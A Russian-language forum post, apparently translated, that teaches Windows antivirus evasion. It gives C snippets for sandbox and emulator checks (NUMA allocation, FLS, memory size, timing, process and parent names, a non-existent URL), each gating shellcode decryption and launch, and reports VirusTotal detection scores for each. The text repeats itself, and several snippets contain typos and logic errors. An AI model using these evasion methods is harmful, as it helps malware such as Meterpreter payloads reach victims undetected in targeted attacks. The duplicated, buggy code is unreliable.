Aceki
Повелитель клавиатуры
В этой статье мы продолжим рассматривать методы обхода антивирусов.
Метод «Я не должен этого делать!»
Пример 1: Попытка открыть системный процесс
Этот код просто пытается открыть системный процесс с номером 4 со всеми правами, который обычно является системным. Если код не запущен с системой MIC и сессией 0, то эта затея должна провалиться (OpenProcess возвращает 0).
VirusTotal счёт:
11/55
Из-за эвристического анализа, функция OpenProcess была принята за вредоносный backdoor. Этот пример показывает, что окружение при эмуляции, не такое как всегда.
Пример 2: Попытка открыть несуществующий URL
Метод, который часто используется чтобы определить то, что мы в песочнице, - это загрузка определенного файла из Интернета и сравнение его хеша с хешем, оригинальным хешем кода. Почему это работает? Потому что окружение песочницы не даёт потенциальному вредоносному файлу доступ в интернет. Когда проверяемый файл открывает интернет страницу в песочнице, то песочница будет отправлять сгенерированный файл. И поэтому, хеш этого файла не будет совпадать с реальным хешем.
У этого метода есть несколько проблем. Этот никогда не заработает, если у вас нет доступа в интернет. Второе, если проверяемый файл будет изменён или удалён, то код перестанет работать.
Другой метод, который не имеет этих проблем, заключается в том, чтобы попробовать получить доступ к сайту, которого не существует. В эмуляции это выйдет, а в реальном мире нет, потому что песочница/эмуляция вернёт свою сгенерированную страницу.
VirusTotal счёт:
2/55
А тут уже интереснее . Среди двух результатов, один антивирус считает, что мой загрузчик dropper (эвристические ложные срабатывания). Второй реально нашёл Meterpreter backdoor. Это правда странно. Это означает, что у этих ребят есть действительно умная система или они разрешают соединение в песочнице, которую они используют.
Этот метод может стать вашим врагом, если вы будете использовать этот метод в массовой атаке. Может произойти также как и с WannaCry, когда один программист остановил атаку одним лишь созданием сайта.
Метод «Знай своего врага»
Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).
Пример 1: Действия, которые зависят от локального пользователя
Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
VirusTotal счёт:
0/55
У антивирусов не выйдет записать и прочитать из файла, поэтому этот метод работает до сих пор.
Метод «WTF is that?»
Функций Windows API так много, что системы эмуляции не охватывают их всех.
Пример 1: Что за чёртов NUMA?
NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить здесь.
Этот код будет работать на ПК, но не будет работать в эмуляции.
VirusTotal счёт:
0/55
Пример 2: Что за чёртов FLS?
FLS это Fiber Local Storage, используется чтобы манипулировать данными через волокна. Узнать об этом больше вы можете здесь.
Интересно, то что некоторые эмуляторы будут всегда возвращать FLS_OUT_OF_INDEXES для функции FlsAlloc.
VirusTotal счёт:
8/55
Метод «Проверяем окружение»
Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.
Пример 1: Проверяем память процесса
Используя системные инструменты, я обнаружил, что когда антивирус сканирует процесс, это влияет на его память. Антивирус будет выделять память для этого, также API процесс эмулируемого кода будет возвращать не те значения, что ожидались. В текущем процессе я буду использовать GetProcessMemoryInfo. Если этот текущий рабочий сет превышает 3 500 000 байт, я считаю, что код работает в антивирусном окружении, а если это не так, то код расшифровывается и запускается.
VirusTotal счёт:
1/55
Пример 2: Искажение времени
Мы знаем что функция Sleep эмулируется антивирусом. Это делается для того, чтобы избежать обхода антивируса простым вызовом Sleep. Вопрос в том, есть ли толк в Sleep, который эмулируется?
VirusTotal счёт:
8/55
Очень жаль, но некоторые антивирусы уже просекли этот трюк.
Пример 3: Как меня зовут?
Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать здесь.
Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.
VirusTotal счёт:
0/55
Трюк остаётся актуален спустя 4 года.
Метод «Я вызываю себя!»
Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.
Пример 1: Я собственный отец.
В этом примере, исполняемый файл (test.exe) будет входить в фазу расшифровывания, только если его родительский процесс также test.exe.
VirusTotal счёт:
1/55
Обычно антивирусы не способны следовать за дочерним процессом, а будут сканировать родительский процесс (даже если их код одинаковый).
Заключение
Эти примеры показывают как же легко можно обойти антивирусы, когда вы используете их слабости. Для этого требуется знания о системе Windows и знать как работают антивирусы. Однако, я не говорил, что антивирусы бесполезны. Антивирусы очень полезны, они защищают от миллиона угроз. Также антивирусы очень удобны для восстановления системы. Что я говорил, так это то, что антивирусы могут быть легко одурачены, особенно при целевых атаках.
Могу посоветовать некоторые способы защиты от вредоносного ПО:
Метод «Я не должен этого делать!»
Пример 1: Попытка открыть системный процесс
Этот код просто пытается открыть системный процесс с номером 4 со всеми правами, который обычно является системным. Если код не запущен с системой MIC и сессией 0, то эта затея должна провалиться (OpenProcess возвращает 0).
Code:
int main( void )
{
HANDLE file;
HANDLE proc;
proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4);
if( proc == NULL )
{
decryptCodeSection();
startShellCode();
}
return 0;
}
VirusTotal счёт:
11/55
Из-за эвристического анализа, функция OpenProcess была принята за вредоносный backdoor. Этот пример показывает, что окружение при эмуляции, не такое как всегда.
Пример 2: Попытка открыть несуществующий URL
Метод, который часто используется чтобы определить то, что мы в песочнице, - это загрузка определенного файла из Интернета и сравнение его хеша с хешем, оригинальным хешем кода. Почему это работает? Потому что окружение песочницы не даёт потенциальному вредоносному файлу доступ в интернет. Когда проверяемый файл открывает интернет страницу в песочнице, то песочница будет отправлять сгенерированный файл. И поэтому, хеш этого файла не будет совпадать с реальным хешем.
У этого метода есть несколько проблем. Этот никогда не заработает, если у вас нет доступа в интернет. Второе, если проверяемый файл будет изменён или удалён, то код перестанет работать.
Другой метод, который не имеет этих проблем, заключается в том, чтобы попробовать получить доступ к сайту, которого не существует. В эмуляции это выйдет, а в реальном мире нет, потому что песочница/эмуляция вернёт свою сгенерированную страницу.
Code:
#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")
int main( void )
{
char cononstart[] = "http://www.notdetectmalicouscode.com//"; //Несуществующий URL
char readbuf[1024];
HINTERNET httpopen, openurl;
DWORD read;
httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
openurl = InternetOpenUrl(httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE, NULL);
if(!openurl)
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
decryptCodeSection();
startShellCode();
}
else
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
}
}
2/55
А тут уже интереснее . Среди двух результатов, один антивирус считает, что мой загрузчик dropper (эвристические ложные срабатывания). Второй реально нашёл Meterpreter backdoor. Это правда странно. Это означает, что у этих ребят есть действительно умная система или они разрешают соединение в песочнице, которую они используют.
Этот метод может стать вашим врагом, если вы будете использовать этот метод в массовой атаке. Может произойти также как и с WannaCry, когда один программист остановил атаку одним лишь созданием сайта.
Метод «Знай своего врага»
Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).
Пример 1: Действия, которые зависят от локального пользователя
Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
Code:
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"
int main( void )
{
HANDLE file;
DWORD tmp;
LPCVOID buff = "1234";
chat outputbuff[5] = {0};
file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if( WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)
{
CloseHandle(file);
file = CreateFile(FILE_PATH,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(ReadFile(file, outputbuff, 4, &tmp, NULL))
{
if(strncmp(buff, outputbuff, 4) == 0)
{
decryptCodeSection();
startShellCode();
}
}
CloseHandle(file);
}
DeleteFile(FILE_PATH);
return 0;
}
0/55
У антивирусов не выйдет записать и прочитать из файла, поэтому этот метод работает до сих пор.
Метод «WTF is that?»
Функций Windows API так много, что системы эмуляции не охватывают их всех.
Пример 1: Что за чёртов NUMA?
NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить здесь.
Этот код будет работать на ПК, но не будет работать в эмуляции.
Code:
int main( void )
{
LPVOID mem = NULL;
mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_REVERSE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if( mem != NULL )
{
decryptCodeSection();
startShellCode();
}
return 0;
}
0/55
Пример 2: Что за чёртов FLS?
FLS это Fiber Local Storage, используется чтобы манипулировать данными через волокна. Узнать об этом больше вы можете здесь.
Интересно, то что некоторые эмуляторы будут всегда возвращать FLS_OUT_OF_INDEXES для функции FlsAlloc.
Code:
int main( void )
{
DWORD result = FlsAlloc(NULL);
if( result != FLS_OUT_OF_INDEXES)
{
decryptCodeSection();
startShellCode();
}
return 0;
}
8/55
Метод «Проверяем окружение»
Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.
Пример 1: Проверяем память процесса
Используя системные инструменты, я обнаружил, что когда антивирус сканирует процесс, это влияет на его память. Антивирус будет выделять память для этого, также API процесс эмулируемого кода будет возвращать не те значения, что ожидались. В текущем процессе я буду использовать GetProcessMemoryInfo. Если этот текущий рабочий сет превышает 3 500 000 байт, я считаю, что код работает в антивирусном окружении, а если это не так, то код расшифровывается и запускается.
Code:
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
int main( void )
{
PROCESS_MEMORY_COUNTERS pmc;
GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
if( pmc.WorkingSetSize<=350000 )
{
decryptCodeSection();
startShellCode();
}
return 0;
}
1/55
Пример 2: Искажение времени
Мы знаем что функция Sleep эмулируется антивирусом. Это делается для того, чтобы избежать обхода антивируса простым вызовом Sleep. Вопрос в том, есть ли толк в Sleep, который эмулируется?
Code:
#include <time.h>
#pragma comment( lib, "winmm.lib" )
int main( void )
{
DWORD mesure1;
DWORD mesure2;
mesure1 = timeGetTime();
Sleep(1000);
if(( mesure2 > ( mesure1 + 1000 ) && ( mesure2 < ( mesure1 + 1005 ))
{
decryptCodeSection();
startShellCode();
}
return 0;
}
8/55
Очень жаль, но некоторые антивирусы уже просекли этот трюк.
Пример 3: Как меня зовут?
Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать здесь.
Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.
Code:
int main( int argc, char * argv[] )
{
if( strstr( argv[0], "test.exe" > 0 ) )
{
decryptShellCode();
startShellCode();
}
return 0;
}
0/55
Трюк остаётся актуален спустя 4 года.
Метод «Я вызываю себя!»
Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.
Пример 1: Я собственный отец.
В этом примере, исполняемый файл (test.exe) будет входить в фазу расшифровывания, только если его родительский процесс также test.exe.
Code:
#include <TlHelp32.h>
#include <Psapi.h>
#pragma comment( lib, "Psapi.lib" )
int main( void )
{
int pid = -1;
HANDLE hProcess;
HANDLE h = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof( PROCESSENTRY32 );
pid = GetCurrentProcessID();
if( Process32First( h, &pe )
{
do
{
if( pe.th32ProcessID == pid )
{
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ParrentProcessID );
if( hProcess != NULL )
{
HMODULE hMod;
DWORD cbNeeded;
TCHAR processName[ MAX_PATH ];
if( EnumProcessModules( hProcess, &hMod, sizeof( &hMod ), &cbNeeded )
{
GetModuleBaseName( hProcess, hMod, processName, sizeof( processName )/sizeof( TCHAR ) );
if( strncmp( processName, "test.exe", strlen( processName ) == 0 )
{
decryptCodeSection();
startShellCode();
}
else
{
startExe("test.exe");
Sleep(1000);
}
}
}
CloseHandle( hProcess );
}
} while ( Process32Next( h, &pe ) );
}
CloseHandle( h );
return 0;
}
1/55
Обычно антивирусы не способны следовать за дочерним процессом, а будут сканировать родительский процесс (даже если их код одинаковый).
Заключение
Эти примеры показывают как же легко можно обойти антивирусы, когда вы используете их слабости. Для этого требуется знания о системе Windows и знать как работают антивирусы. Однако, я не говорил, что антивирусы бесполезны. Антивирусы очень полезны, они защищают от миллиона угроз. Также антивирусы очень удобны для восстановления системы. Что я говорил, так это то, что антивирусы могут быть легко одурачены, особенно при целевых атаках.
Могу посоветовать некоторые способы защиты от вредоносного ПО:
- Никогда не запускайте программу от администратора, если вы не уверены в ней. Это золотое правило поможет защититься от 99% вредоносного ПО, без антивируса. Годами, это правило было главным для пользователей Linux.
- Охраняйте систему. Обновления Windows имеют много новых обновлений безопасности, используйте их.
- Используйте IDS и следите за вашей сетью. Большинство атак вредоносного ПО, не были замечены их жертвами. Спасибо NIDS и firewall логам.